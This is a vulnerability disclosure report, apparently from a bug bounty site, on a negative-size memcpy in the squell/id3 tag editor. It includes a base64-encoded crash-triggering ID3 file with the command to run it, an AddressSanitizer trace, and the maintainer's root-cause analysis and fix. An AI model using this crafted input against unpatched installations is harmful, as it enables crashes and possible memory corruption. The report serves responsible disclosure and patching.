Buffer Access with Incorrect Length Value in squell/id3

Valid

Reported on

Jun 4th 2021


✍️ Description

Archive.org is a worthy cause to support. 👍 During testing of id3 compiled from commit a899ea with Clang 13+ASan on Ubuntu 20.04.2, we discovered a payload which triggers a negative-size-param: (size=-4) error when calling memcpy. This particular bug was discovered with the AFL fuzzer.

🕵️‍♂️ Proof of Concept

The base64 encoded file below identifies itself as an Audio file with ID3 version 2.4.128.

echo "SUQzBIAAAAACkVRYWFgAAAAAAP8AEAAAAG4xAGEgbGF0aW4xIHN0cmluZwh3aXRoIKMgc2n09PT0
9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0
9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0
9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQAAAKO
9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0
9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0
9PT09PT09PT09PT09PT0AACA9PT09PT09PT09PT09PT09PT09PT0Z25UWFhYAAAAIQAAA3V0ZjgA
YSB1dGY4IHN0cmluZyB3aXRoIOKCrCBzaWduVFhYWAAAAEkAdwIAdQB0AGYAMQA2AGIAZQAAAGEA
IAB1AHQAZgAxADYAYgBlACAAcwB0AHIAaQBuAGcAIAB3AGkAdABoACAgrAAgAHMAaQBnAG5UWFhY
AAAAVwAAAf/+dQB0AGYAMQA2AAAA//5hACAAdQB0AGYAMQA2ACAAcwB0AHIAaQBuAGcAIAF3AGkA
dABoACAArCAgAHMAaQBnAG4AIAAoAGwAZQAfAGIAbwBtAAAAAo4pAFRYWFgAAABdAAAB/v8AdQB0
AGYAMQA2AGIAbwBtAAD+/wBhACAAdQB0AGYAMQA2AGJyAGkAbgBnACAAdwBpAHQAaAAgIKwAIABz
AGkAZwBuACAAKABiAGUAIABiAG8AbQAp" | base64 -d > /tmp/file.fuzz && ./id3 -v -u /tmp/file.fuzz

The ./id3 -v -u file.fuzz command line produces this stack trace:

==1566768==ERROR: AddressSanitizer: negative-size-param: (size=-4)
    #0 0x499264 in __asan_memcpy (/root/id3/id3+0x499264)
    #1 0x524c4c in ID3_put /root/id3/id3v2.c:475:13
    #2 0x50ec46 in (anonymous namespace)::writer::put(char const*, void const*, unsigned long) /root/id3/setid3v2.cpp:77:24
    #3 0x50ec46 in tag::write::ID3v2::vmodify(char const*, stredit::function const&) const /root/id3/setid3v2.cpp:327:25
    #4 0x5369af in tag::writer::modify(char const*, stredit::function const&) const /root/id3/./set_base.h:65:14
    #5 0x5369af in tag::combined<tag::handler>::vmodify(char const*, stredit::function const&) const /root/id3/./setgroup.h:108:32
    #6 0x5369af in tag::write::file::vmodify(char const*, stredit::function const&) const /root/id3/setfname.cpp:62:40
    #7 0x4ee72d in tag::writer::modify(char const*, stredit::function const&) const /root/id3/./set_base.h:65:14
    #8 0x4ee72d in fileexp::mass_tag::file(char const*, fileexp::record const&) /root/id3/mass_tag.cpp:169:23
    #9 0x4d9a1c in verbose::file(char const*, fileexp::record const&) /root/id3/main.cpp:217:24
    #10 0x4e2cf6 in fileexp::filefind::nested(auto_dir, char*, char*) /root/id3/fileexp.cpp
    #11 0x4e1b31 in fileexp::find::glob(char const*, bool) /root/id3/fileexp.cpp:63:14
    #12 0x4d33e2 in process_(fileexp::find&, char**, bool) /root/id3/main.cpp:339:19
    #13 0x4d33e2 in main_(int, char**) /root/id3/main.cpp:585:24
    #14 0x4d60fb in main /root/id3/main.cpp:631:16
    #15 0x7f1b3833d0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #16 0x41e9cd in _start (/root/id3/id3+0x41e9cd)

0x6120000001cf is located 15 bytes inside of 278-byte region [0x6120000001c0,0x6120000002d6)
allocated by thread T0 here:
    #0 0x499f0d in malloc (/root/id3/id3+0x499f0d)
    #1 0x521fe1 in ID3_readf /root/id3/id3v2.c:216:11
    #2 0x50cd3a in tag::write::ID3v2::vmodify(char const*, stredit::function const&) const /root/id3/setid3v2.cpp:296:23
    #3 0x5369af in tag::writer::modify(char const*, stredit::function const&) const /root/id3/./set_base.h:65:14
    #4 0x5369af in tag::combined<tag::handler>::vmodify(char const*, stredit::function const&) const /root/id3/./setgroup.h:108:32
    #5 0x5369af in tag::write::file::vmodify(char const*, stredit::function const&) const /root/id3/setfname.cpp:62:40
    #6 0x4ee72d in tag::writer::modify(char const*, stredit::function const&) const /root/id3/./set_base.h:65:14
    #7 0x4ee72d in fileexp::mass_tag::file(char const*, fileexp::record const&) /root/id3/mass_tag.cpp:169:23
    #8 0x4d9a1c in verbose::file(char const*, fileexp::record const&) /root/id3/main.cpp:217:24
    #9 0x4e2cf6 in fileexp::filefind::nested(auto_dir, char*, char*) /root/id3/fileexp.cpp
    #10 0x4e1b31 in fileexp::find::glob(char const*, bool) /root/id3/fileexp.cpp:63:14
    #11 0x4d33e2 in process_(fileexp::find&, char**, bool) /root/id3/main.cpp:339:19
    #12 0x4d33e2 in main_(int, char**) /root/id3/main.cpp:585:24
    #13 0x4d60fb in main /root/id3/main.cpp:631:16
    #14 0x7f1b3833d0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: negative-size-param (/root/id3/id3+0x499264) in __asan_memcpy

💥 Impact

This vulnerability might allow an attacker to read and write values outside of the defined id3 tags, otherwise the software will crash, the audio file could become corrupted, etc.

Occurences

Marc R. Schoolderman validated this vulnerability 6 months ago
Geeknik Labs has been awarded the disclosure bounty
The fix bounty is now up for grabs
Marc
6 months ago

Maintainer


This apparently has to do with the fact that ID3_frame corrects for the presence of the "data length indicator" (the rationale of which I don't understand: it's a field that should make the life of software easier, yet is optional so no software can depend on its presence...) whereas the calcsize() function doesn't do this.

https://github.com/squell/id3/blob/a899eac8fa5d17ffd1af01a0f1120ef1c061aa2e/id3v2.c#L440-L441

Of course the intent is that a tag that has passed checking by calcsize() should be completely safe for use by ID3_frame; but since these functions have apparently diverged (causing two bugs already), it's clearly time to refactor them to share the same code.

Marc R. Schoolderman confirmed that a fix has been merged on f0a8e2 6 months ago
Marc R. Schoolderman has been awarded the fix bounty